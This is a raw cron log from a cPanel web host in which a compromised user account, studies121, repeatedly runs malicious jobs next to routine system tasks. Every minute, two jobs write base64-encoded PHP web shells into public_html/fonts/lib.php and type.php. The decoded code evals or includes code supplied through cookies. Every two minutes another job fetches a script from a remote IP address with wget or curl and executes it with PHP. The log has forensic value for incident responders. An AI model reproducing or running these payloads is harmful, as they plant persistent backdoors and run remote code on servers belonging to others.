Sep  9 17:53:01 ip-184-168-122-23 CROND[24404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:53:01 ip-184-168-122-23 CROND[24401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:53:01 ip-184-168-122-23 CROND[24402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:54:01 ip-184-168-122-23 CROND[24577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:54:01 ip-184-168-122-23 CROND[24578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:54:01 ip-184-168-122-23 CROND[24580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:54:01 ip-184-168-122-23 CROND[24583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:54:01 ip-184-168-122-23 CROND[24582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:55:02 ip-184-168-122-23 CROND[24669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:55:02 ip-184-168-122-23 CROND[24671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:55:02 ip-184-168-122-23 CROND[24672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:55:02 ip-184-168-122-23 CROND[24673]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:55:02 ip-184-168-122-23 CROND[24674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:55:02 ip-184-168-122-23 CROND[24678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:56:01 ip-184-168-122-23 CROND[24759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:56:01 ip-184-168-122-23 CROND[24760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:56:01 ip-184-168-122-23 CROND[24763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:56:01 ip-184-168-122-23 CROND[24764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:56:01 ip-184-168-122-23 CROND[24765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:57:01 ip-184-168-122-23 CROND[24846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:57:01 ip-184-168-122-23 CROND[24847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:57:01 ip-184-168-122-23 CROND[24849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:57:01 ip-184-168-122-23 CROND[24850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:58:01 ip-184-168-122-23 CROND[24954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:58:01 ip-184-168-122-23 CROND[24957]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:58:01 ip-184-168-122-23 CROND[24956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:58:01 ip-184-168-122-23 CROND[24959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:58:01 ip-184-168-122-23 CROND[24958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:59:01 ip-184-168-122-23 CROND[25091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:59:01 ip-184-168-122-23 CROND[25093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:59:01 ip-184-168-122-23 CROND[25095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:59:01 ip-184-168-122-23 CROND[25094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:00:01 ip-184-168-122-23 CROND[25254]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 18:00:01 ip-184-168-122-23 CROND[25257]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:00:01 ip-184-168-122-23 CROND[25259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:00:01 ip-184-168-122-23 CROND[25261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:00:02 ip-184-168-122-23 CROND[25265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:00:02 ip-184-168-122-23 CROND[25262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:00:02 ip-184-168-122-23 CROND[25264]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:00:02 ip-184-168-122-23 CROND[25266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:00:02 ip-184-168-122-23 CROND[25267]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 18:01:02 ip-184-168-122-23 CROND[25372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:01:02 ip-184-168-122-23 CROND[25374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:01:02 ip-184-168-122-23 CROND[25375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:01:02 ip-184-168-122-23 CROND[25376]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 18:01:02 ip-184-168-122-23 CROND[25378]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 18:01:02 ip-184-168-122-23 CROND[25384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25376]: starting 0anacron
Sep  9 18:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25394]: finished 0anacron
Sep  9 18:02:01 ip-184-168-122-23 CROND[25469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:02:01 ip-184-168-122-23 CROND[25471]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:02:01 ip-184-168-122-23 CROND[25472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:02:01 ip-184-168-122-23 CROND[25473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:02:01 ip-184-168-122-23 CROND[25477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:03:01 ip-184-168-122-23 CROND[25550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:03:01 ip-184-168-122-23 CROND[25551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:03:01 ip-184-168-122-23 CROND[25552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:03:01 ip-184-168-122-23 CROND[25553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:04:01 ip-184-168-122-23 CROND[25650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:04:01 ip-184-168-122-23 CROND[25652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:04:01 ip-184-168-122-23 CROND[25653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:04:01 ip-184-168-122-23 CROND[25656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:04:01 ip-184-168-122-23 CROND[25655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:05:01 ip-184-168-122-23 CROND[25755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:05:01 ip-184-168-122-23 CROND[25758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
